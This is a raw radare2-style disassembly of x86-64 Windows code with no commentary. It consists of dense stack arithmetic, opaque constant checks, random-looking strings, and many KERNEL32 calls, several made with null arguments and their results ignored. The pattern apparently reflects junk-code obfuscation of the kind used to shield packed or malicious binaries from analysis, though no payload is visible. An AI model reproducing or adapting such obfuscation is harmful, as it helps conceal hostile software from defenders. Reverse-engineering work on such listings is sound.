call qword [sym.imp.KERNEL32.dll_GetTapeStatus]
movzx eax, word [rsp + 0x1f14]
movzx ecx, word [rsp + 0x1f0c]
sar eax, cl
mov word [rsp + 0x1f20], ax
lea rdx, [rsp + 0x25fb8]
mov rcx, qword [rsp + 0xc078]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x62b0], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc1b8], rax
lea rcx, [rsp + 0x1fc48]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6324], eax
mov r9d, 1
lea r8, [rsp + 0xc198]
mov rdx, qword [rsp + 0xc098]
mov rcx, qword [rsp + 0xc1a8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x62a8], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetStdHandle]
movzx ecx, word [rsp + 0x1f18]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f24], ax
jmp 0x140012202
movzx eax, byte [rsp + 0x376]
mov byte [0x1401c8a12], al
mov eax, dword [rsp + 0x5ed0]
mov ecx, dword [rsp + 0x62f4]
or ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x62a4]
mov edx, dword [rsp + 0x6254]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
je 0x140196ee1
mov eax, dword [rsp + 0x62d0]
mov ecx, dword [rsp + 0x62d4]
sub ecx, eax
mov eax, ecx
cmp eax, dword [rsp + 0x62cc]
jne 0x140196dd5
mov rax, qword [rsp + 0xc1a0]
mov rcx, qword [rsp + 0xa148]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xbeb8], rax
mov eax, dword [rsp + 0x62f4]
mov dword [rsp + 0x6328], eax
movsx eax, byte [rsp + 0x1d7]
movsx ecx, byte [0x1401c8a12]
shl eax, cl
mov byte [rsp + 0x376], al
movzx eax, byte [rsp + 0x374]
movzx ecx, byte [rsp + 0x253]
sar eax, cl
movzx ecx, byte [rsp + 0x30b]
cmp eax, ecx
jge 0x140012499
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
lea rax, [0x1401c8a14]
mov qword [rsp + 0xc1c0], rax
mov rax, qword [rsp + 0xc130]
mov rcx, qword [rsp + 0xc0b0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xba40], rax
lea rax, [rsp + 0x1f20]
mov qword [rsp + 0xc1c8], rax
jmp 0x1400124be
mov r9, qword [rsp + 0xa148]
movzx r8d, byte [rsp + 0x1d7]
movzx edx, byte [rsp + 0x30b]
mov ecx, dword [rsp + 0x6328]
call fcn.140197b30
cmp dword [rsp + 0x62c8], 0xf0cb
ja 0x140012834
mov rax, qword [rsp + 0xc1c0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1d04]
add eax, ecx
mov word [0x1401c8a14], ax
mov rax, qword [rsp + 0xc130]
mov rcx, qword [rsp + 0xc088]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc0b0], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x628c], eax
movsx eax, word [rsp + 0x1f1c]
mov rcx, qword [rsp + 0xc1c0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x137c], ax
lea rcx, [rsp + 0x1d368]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LockResource]
lea rcx, [rsp + 0x1fc78]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6324], eax
mov eax, dword [rsp + 0x6254]
movzx ecx, al
mov eax, dword [rsp + 0x62a4]
shl eax, cl
mov dword [rsp + 0x5ed0], eax
mov eax, dword [rsp + 0x62c8]
add eax, 0xf9
mov dword [rsp + 0x62c8], eax
mov rax, qword [rsp + 0xc1a0]
mov rcx, qword [rsp + 0xbeb8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xc0d8], rax
movsx eax, byte [rsp + 0x375]
movsx ecx, byte [rsp + 0x376]
and eax, ecx
mov byte [rsp + 0x1d7], al
mov eax, dword [rsp + 0x62cc]
mov dword [rsp + 0x62d0], eax
movzx eax, byte [rsp + 0x30b]
movzx ecx, byte [rsp + 0x374]
xor eax, ecx
mov byte [rsp + 0x253], al
lea rcx, [0x1401ac080]
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1f28], ax
movsx eax, word [rsp + 0x1d04]
mov rcx, qword [rsp + 0xc1c0]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1f1c], ax
mov eax, dword [rsp + 0x62a4]
mov ecx, dword [rsp + 0x6328]
sub ecx, eax
mov eax, ecx
mov dword [0x1401c7008], eax
mov rax, qword [rsp + 0xc1c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc0a8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1f0c], ax
mov rax, qword [rsp + 0xb0d8]
mov rcx, qword [rsp + 0xc130]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xc088], rax
movsx eax, byte [rsp + 0x1d7]
movsx ecx, byte [rsp + 0x375]
sar eax, cl
mov byte [rsp + 0x376], al
mov eax, dword [rsp + 0x5ed0]
movzx ecx, al
mov eax, dword [rsp + 0x62a4]
shl eax, cl
mov dword [rsp + 0x6328], eax
lea rcx, [rsp + 0x1d368]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rcx, qword [rsp + 0xc040]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x632c], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileTime]
mov rax, qword [rsp + 0xc1c0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1f1c]
sub eax, ecx
mov rcx, qword [rsp + 0xc1c0]
mov word [rcx], ax
movsx eax, word [rsp + 0x1f1c]
mov rcx, qword [rsp + 0xc1c0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x137c], ax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x62b8], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x628c], eax
movzx eax, word [rsp + 0xfdc]
mov rcx, qword [rsp + 0xc0a8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1f14], ax
movzx eax, word [rsp + 0x1f14]
movzx ecx, word [rsp + 0x1f0c]
add eax, ecx
mov rcx, qword [rsp + 0xc1c8]
mov word [rcx], ax
mov rax, qword [rsp + 0xc0a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc1c8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1f0c], ax
mov eax, dword [rsp + 0x62a4]
mov ecx, dword [rsp + 0x6328]
and ecx, eax
mov eax, ecx
mov dword [0x1401c7008], eax
mov rax, qword [rsp + 0xc0b0]
mov rcx, qword [rsp + 0xc130]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xc088], rax
movsx eax, byte [rsp + 0x1d7]
movsx ecx, byte [rsp + 0x375]
shl eax, cl
mov byte [rsp + 0x376], al
mov rax, qword [section..data]
movzx ecx, al
mov rax, qword [rsp + 0xa148]
shr rax, cl
mov qword [rsp + 0xc008], rax
movzx eax, byte [rsp + 0x30b]
movzx ecx, byte [rsp + 0x253]
or eax, ecx
mov byte [rsp + 0x374], al
movsx eax, word [rsp + 0x137c]
movsx ecx, word [0x1401c8a10]
sub eax, ecx
mov rcx, qword [rsp + 0xc1c0]
mov word [rcx], ax
jmp 0x1400124be
movsx eax, word [rsp + 0x1f1c]
mov rcx, qword [rsp + 0xc1c0]
movsx ecx, word [rcx]
sub eax, ecx
movsx ecx, word [rsp + 0x137c]
movsx edx, word [rsp + 0x1d04]
or ecx, edx
cmp eax, ecx
jle 0x140012884
mov r9, qword [rsp + 0xc1a0]
movzx r8d, byte [rsp + 0x376]
movzx edx, byte [rsp + 0x374]
mov ecx, dword [rsp + 0x62a4]
call fcn.140197b30
mov eax, dword [rsp + 0x6254]
movzx ecx, al
mov eax, dword [rsp + 0x5ed0]
shl eax, cl
mov dword [rsp + 0x62f4], eax
movsx eax, word [rsp + 0x137c]
movsx ecx, word [rsp + 0x1d04]
sar eax, cl
mov word [rsp + 0x1f1c], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TransmitCommChar]
mov dword [rsp + 0x6330], 0x88d8
movsx eax, word [0x1401c8a14]
movsx ecx, word [rsp + 0x1d04]
sub eax, ecx
movsx ecx, word [rsp + 0x1f1c]
mov rdx, qword [rsp + 0xc1c0]
movsx edx, word [rdx]
add ecx, edx
cmp eax, ecx
jg 0x140196b7f
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.XKEJYuLKAw4iv8ARcNajMAsSQfJnA
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xc1d0], rax
mov rax, qword [rsp + 0xc088]
mov qword [rsp + 0xc1d8], rax
cmp dword [rsp + 0x6330], 0x8c1c
je 0x140012b54
mov rax, qword [rsp + 0xc0a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc1c8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1f0c], ax
movzx ecx, word [rsp + 0x1f18]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f24], ax
movzx eax, byte [rsp + 0x253]
movzx ecx, byte [rsp + 0x374]
add eax, ecx
mov byte [rsp + 0x30b], al
mov eax, dword [rsp + 0x62cc]
mov ecx, dword [rsp + 0x62d4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x62d0], eax
mov rax, qword [rsp + 0xc1a0]
mov rcx, qword [section..data]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xa148], rax
mov eax, dword [rsp + 0x5ed0]
movzx ecx, al
mov eax, dword [rsp + 0x6254]
shl eax, cl
mov dword [rsp + 0x62a4], eax
lea rcx, [rsp + 0x1fc48]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0xc1c0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1d04]
sar eax, cl
mov rcx, qword [rsp + 0xc1c0]
mov word [rcx], ax
mov eax, dword [rsp + 0x6330]
add eax, 0x4c
mov dword [rsp + 0x6330], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
lea rdx, [rsp + 0x25ff0]
mov rcx, qword [rsp + 0xc1a8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x62a8], eax
mov rax, qword [rsp + 0xc1c0]
movsx eax, word [rax]
movsx ecx, word [0x1401c8a14]
add eax, ecx
mov word [rsp + 0x1d04], ax
movsx eax, word [rsp + 0x1d04]
mov rcx, qword [rsp + 0xc1c0]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401c8a14], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
movzx eax, word [rsp + 0x1f0c]
mov rcx, qword [rsp + 0xc0a8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1f14], ax
mov rax, qword [rsp + 0xc130]
mov rcx, qword [rsp + 0xc118]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xc088], rax
lea rdx, [rsp + 0x25fb8]
mov rcx, qword [rsp + 0xc078]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x62a8], eax
movzx eax, word [rsp + 0x1f0c]
movzx ecx, word [rsp + 0x1f14]
sub eax, ecx
mov rcx, qword [rsp + 0xc0a8]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x628c], eax
xor r9d, r9d
lea r8, [rsp + 0xc198]
mov rdx, qword [rsp + 0xc1e0]
mov rcx, qword [rsp + 0xc1a8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x62a8], eax
jmp 0x140012947
movsx eax, byte [rsp + 0x375]
movsx ecx, byte [rsp + 0x1d7]
shl eax, cl
mov byte [rsp + 0x376], al
cmp dword [rsp + 0x6250], 0x5be4
jbe 0x140012f79
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x62e8], eax
mov rax, qword [rsp + 0xc0d8]
movzx ecx, al
mov rax, qword [rsp + 0xc1a0]
shr rax, cl
mov qword [rsp + 0xbeb8], rax
mov rax, qword [rsp + 0xc1c0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x137c]
or eax, ecx
mov word [rsp + 0x1d04], ax
movzx eax, word [rsp + 0x1f0c]
movzx ecx, word [rsp + 0xfdc]
sub eax, ecx
mov rcx, qword [rsp + 0xc1c8]
mov word [rcx], ax
mov rax, qword [rsp + 0xc0b0]
mov rcx, qword [rsp + 0xba40]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb0d8], rax
mov eax, dword [rsp + 0x62f4]
mov ecx, dword [rsp + 0x62a4]
add ecx, eax
mov eax, ecx
mov dword [0x1401c7008], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc0b8], rax
movzx eax, byte [rsp + 0x374]
movzx ecx, byte [rsp + 0x30b]
sar eax, cl
mov byte [rsp + 0x253], al
mov eax, dword [rsp + 0x62cc]
movzx ecx, al
mov eax, dword [rsp + 0x62d0]
shl eax, cl
mov dword [rsp + 0x62d4], eax
mov rax, qword [rsp + 0xa148]
mov rcx, qword [rsp + 0xc008]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xbeb8], rax
movsx eax, byte [rsp + 0x1d7]
movsx ecx, byte [rsp + 0x376]
and eax, ecx
mov byte [rsp + 0x375], al
mov eax, dword [0x1401c7008]
mov ecx, dword [rsp + 0x62a4]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x62f4], eax
movsx eax, word [rsp + 0x1f1c]
mov rcx, qword [rsp + 0xc1c0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x137c], ax
mov rax, qword [rsp + 0xc1c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc0a8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xfdc], ax
lea rcx, [rsp + 0x1d390]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rax, qword [rsp + 0xba40]
movzx ecx, al
mov rax, qword [rsp + 0xc1d8]
shl rax, cl
mov qword [rsp + 0xc130], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc090], rax
mov eax, dword [rsp + 0x5ed0]
movzx ecx, al
mov eax, dword [rsp + 0x62a4]
shr eax, cl
mov dword [0x1401c7008], eax
movzx ecx, word [rsp + 0x1f24]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f2c], ax
lea rdx, [rsp + 0x25f80]
mov rcx, qword [rsp + 0xc1d0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x632c], eax
lea rcx, [0x1401ac088]
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1f2c], ax
mov rax, qword [rsp + 0xc1c0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1d04]
or eax, ecx
mov word [rsp + 0x137c], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalUnlock]
lea rcx, [rsp + 0x1d390]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessIoCounters]
movzx eax, word [rsp + 0x1f0c]
mov rcx, qword [rsp + 0xc1c8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1f20], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6324], eax
mov eax, dword [rsp + 0x6250]
sub eax, 0x9a
mov dword [rsp + 0x6250], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiberEx]
mov eax, dword [rsp + 0x5ed0]
mov ecx, dword [rsp + 0x6254]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x62a4], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleCount]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x627c], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessVersion]
mov rax, qword [rsp + 0xa148]
mov rcx, qword [rsp + 0xc0d8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc1a0], rax
movsx eax, byte [0x1401c8a12]
movsx ecx, byte [rsp + 0x1d7]
add eax, ecx
mov byte [rsp + 0x376], al
mov rcx, qword [rsp + 0xc010]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x6334], eax
mov rax, qword [rsp + 0xc088]
mov rcx, qword [rsp + 0xb0d8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc0b0], rax
movsx eax, word [rsp + 0x137c]
movsx ecx, word [rsp + 0x1f1c]
or eax, ecx
mov rcx, qword [rsp + 0xc1c0]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc1b8], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6258], eax
mov rax, qword [rsp + 0xc1c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1f0c]
sar eax, cl
mov word [rsp + 0x1f20], ax
lea rcx, [rsp + 0x1fca8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov eax, dword [rsp + 0x6254]
mov ecx, dword [rsp + 0x5ed0]
xor ecx, eax
mov eax, ecx
mov dword [0x1401c7008], eax
movzx eax, byte [rsp + 0x374]
movzx ecx, byte [rsp + 0x253]
and eax, ecx
mov byte [rsp + 0x30b], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommMask]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc020], rax
movzx ecx, word [rsp + 0x1f10]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f30], ax
jmp 0x140012b6d
mov rax, qword [rsp + 0xc130]
movzx ecx, al
mov rax, qword [rsp + 0xc1d8]
shl rax, cl
mov qword [rsp + 0x9ae8], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc020], rax
mov rax, qword [rsp + 0xc1d8]
mov rcx, qword [rsp + 0x9ae8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc130]
mov rdx, qword [rsp + 0xb0d8]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
jl 0x140013124
mov rax, qword [rsp + 0xc118]
mov rcx, qword [rsp + 0xc0b0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xba40], rax
movzx eax, byte [rsp + 0x374]
movzx ecx, byte [rsp + 0x253]
add eax, ecx
movzx ecx, byte [rsp + 0x30b]
cmp eax, ecx
jne 0x14001306d
mov rdx, qword [rsp + 0xc1e8]
mov rcx, qword [rsp + 0xc1f0]
call qword [sym.imp.KERNEL32.dll_SetFileShortNameW]
mov dword [rsp + 0x6338], eax
mov rcx, qword [rsp + 0xc1f8]
call qword [sym.imp.KERNEL32.dll_FindVolumeClose]
mov dword [rsp + 0x633c], eax
mov rax, qword [rsp + 0xc1c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1f20]
sub eax, ecx
mov rcx, qword [rsp + 0xc0a8]
mov word [rcx], ax
jmp 0x1400130f5
mov eax, dword [rsp + 0x62f4]
mov ecx, dword [rsp + 0x62a4]
xor ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x5ed0]
mov edx, dword [rsp + 0x6328]
and edx, ecx
mov ecx, edx
cmp eax, ecx
jbe 0x1400130a5
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc058], rax
jmp 0x1400130f5
mov eax, dword [rsp + 0x6328]
movzx ecx, al
mov eax, dword [0x1401c7008]
shl eax, cl
mov ecx, dword [rsp + 0x5ed0]
mov edx, dword [rsp + 0x62a4]
or edx, ecx
mov ecx, edx
cmp eax, ecx
jbe 0x1400130f5
lea r9, [rsp + 0x29c30]
mov r8d, 0xa4
lea rdx, [rsp + 0xc1b0]
mov ecx, 0xc8
call qword [sym.imp.KERNEL32.dll_GetStringTypeW]
mov dword [rsp + 0x6340], eax
mov r9, qword [rsp + 0xc200]
mov r8, qword [rsp + 0xc1e8]
mov edx, 0x7a
mov rcx, qword [rsp + 0xc208]
call qword [sym.imp.KERNEL32.dll_GetFullPathNameW]
mov dword [rsp + 0x62f4], eax
jmp 0x140196a32
movsx eax, word [rsp + 0x1f1c]
mov dword [rsp + 0x6344], eax
cmp dword [rsp + 0x6344], 0
je 0x14001316e
cmp dword [rsp + 0x6344], 0x7a8
je 0x14001314f
jmp 0x1400131fa
movsx eax, word [rsp + 0x1d04]
movsx ecx, word [rsp + 0x1f1c]
shl eax, cl
mov word [rsp + 0x137c], ax
jmp 0x1400131fa
mov rax, qword [rsp + 0xc1d8]
mov rcx, qword [rsp + 0xc130]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xc118], rax
mov eax, dword [0x1401c7008]
mov dword [rsp + 0x6348], eax
mov r9d, 0x21e6
xor r8d, r8d
lea rdx, [rsp + 0xc140]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x627c], eax
movsx eax, byte [rsp + 0x1d7]
movsx ecx, byte [rsp + 0x376]
sar eax, cl
mov byte [rsp + 0x375], al
lea rax, [rsp + 0xc1a0]
mov qword [rsp + 0xc210], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x634c], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessId]
mov rax, qword [rsp + 0xc0a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xfdc]
sub eax, ecx
mov word [rsp + 0x1f20], ax
mov rax, qword [rsp + 0xc130]
mov qword [rsp + 0xc218], rax
movzx eax, byte [rsp + 0x30b]
movzx ecx, byte [rsp + 0x374]
add eax, ecx
mov byte [rsp + 0x253], al
mov dword [rsp + 0x6350], 0x9ef7
movzx eax, byte [rsp + 0x374]
movzx ecx, byte [rsp + 0x30b]
and eax, ecx
mov byte [str.5qKr], al
mov eax, dword [rsp + 0x62cc]
mov ecx, dword [rsp + 0x62d4]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x5728], eax
cmp dword [rsp + 0x6284], 0x9ba7
ja 0x1400133bb
movsx eax, word [rsp + 0x1d04]
movsx ecx, word [rsp + 0x137c]
or eax, ecx
mov rcx, qword [rsp + 0xc1c0]
mov word [rcx], ax
mov rax, qword [rsp + 0xc0a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1f0c]
sar eax, cl
mov word [rsp + 0x1f14], ax
mov eax, dword [rsp + 0x6284]
add eax, 0xf4
mov dword [rsp + 0x6284], eax
mov rax, qword [rsp + 0xc210]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xc008]
shl rax, cl
mov qword [rsp + 0xbeb8], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EraseTape]
movzx ecx, word [rsp + 0x1f10]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f2c], ax
mov eax, dword [rsp + 0x5ed0]
mov ecx, dword [0x1401c7008]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6348], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x627c], eax
movsx eax, byte [0x1401c8a12]
movsx ecx, byte [rsp + 0x375]
add eax, ecx
mov byte [rsp + 0x1d7], al
mov rax, qword [rsp + 0xc1c0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1f1c]
sub eax, ecx
mov word [rsp + 0x137c], ax
movzx eax, word [rsp + 0x1f14]
movzx ecx, word [rsp + 0x1f20]
or eax, ecx
mov word [rsp + 0x1f0c], ax
mov rax, qword [rsp + 0xc1c0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1d04]
shl eax, cl
mov word [0x1401c8a14], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
jmp 0x14001327c
mov rax, qword [rsp + 0xc210]
mov rax, qword [rax]
mov qword [rsp + 0xc220], rax
movabs rax, 0x7cbf60bae4d729
cmp qword [rsp + 0xc220], rax
je 0x1400133fb
movabs rax, 0xfff9ffff815a0860
cmp qword [rsp + 0xc220], rax
je 0x140013456
jmp 0x1400134aa
mov rax, qword [rsp + 0xc118]
movzx ecx, al
mov rax, qword [rsp + 0xc218]
sar rax, cl
mov qword [rsp + 0xb0d8], rax
mov rcx, qword [rsp + 0xc228]
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov dword [rsp + 0x6280], eax
mov rax, qword [rsp + 0xc210]
mov r9, qword [rax]
movzx r8d, byte [0x1401c8a12]
movzx edx, byte [rsp + 0x374]
mov ecx, dword [0x1401c7008]
call fcn.140197b30
jmp 0x1400134aa
mov rcx, qword [rsp + 0xc040]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xc130]
mov rcx, qword [rsp + 0xc118]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc218], rax
mov rax, qword [rsp + 0xc1c0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1f1c]
sub eax, ecx
mov word [rsp + 0x137c], ax
mov dword [rsp + 0x6354], 0xa9f3
mov rax, qword [rsp + 0x9ae8]
mov rcx, qword [rsp + 0xba40]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc0b0]
mov rdx, qword [rsp + 0xc1d8]
xor rdx, rcx
mov rcx, rdx
cmp rax, rcx
jl 0x140013545
mov eax, dword [rsp + 0x6348]
mov ecx, dword [rsp + 0x5ed0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6254], eax
mov rax, qword [rsp + 0xa148]
movzx ecx, al
mov rax, qword [rsp + 0xc0d8]
shr rax, cl
mov qword [rsp + 0xc008], rax
movsx eax, byte [rsp + 0x1d7]
movsx ecx, byte [rsp + 0x375]
shl eax, cl
mov byte [rsp + 0x376], al
mov rcx, qword [rsp + 0xc228]
call qword [sym.imp.KERNEL32.dll_FindNextChangeNotification]
mov dword [rsp + 0x62e0], eax
jmp 0x1400137ae
mov eax, dword [rsp + 0x62a4]
movzx ecx, al
mov eax, dword [rsp + 0x6254]
shr eax, cl
mov ecx, dword [rsp + 0x5ed0]
mov edx, dword [0x1401c7008]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jb 0x140013663
mov rax, qword [rsp + 0xc1c0]
movsx eax, word [rax]
mov dword [rsp + 0x6358], eax
cmp dword [rsp + 0x6358], 0x4fe
je 0x140013595
jmp 0x140013642
call qword [sym.imp.KERNEL32.dll_SetFileApisToANSI]
movzx eax, byte [str.5qKr]
movzx ecx, byte [rsp + 0x253]
or eax, ecx
mov byte [rsp + 0x374], al
lea rdx, [rsp + 0xc230]
mov ecx, 0x67
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
mov dword [rsp + 0x635c], eax
lea rdx, [rsp + 0x1f14]
mov rcx, qword [rsp + 0xc1f8]
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov dword [rsp + 0x6338], eax
mov rax, qword [rsp + 0xc210]
mov rcx, qword [rsp + 0xc0d8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xc210]
mov qword [rcx], rax
call qword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
movzx eax, ax
mov dword [rsp + 0x62d0], eax
mov r9, qword [rsp + 0xc0d8]
movzx r8d, byte [rsp + 0x375]
movzx edx, byte [rsp + 0x30b]
mov ecx, dword [rsp + 0x6328]
call fcn.140197b30
jmp 0x14001365e
movsx eax, word [rsp + 0x1d04]
mov rcx, qword [rsp + 0xc1c0]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401c8a10], ax
jmp 0x1400137ae
mov rax, qword [rsp + 0xc0a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc1c8]
movzx ecx, word [rcx]
or eax, ecx
movzx ecx, word [rsp + 0x1f0c]
movzx edx, word [rsp + 0x1f14]
sub ecx, edx
cmp eax, ecx
jg 0x140013750
mov rcx, qword [rsp + 0xc140]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rcx, str.c_dhBH
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1f34], ax
movzx eax, word [rsp + 0xfdc]
mov word [rsp + 0x1f38], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMailslotInfo]
mov rax, qword [rsp + 0xc0a8]
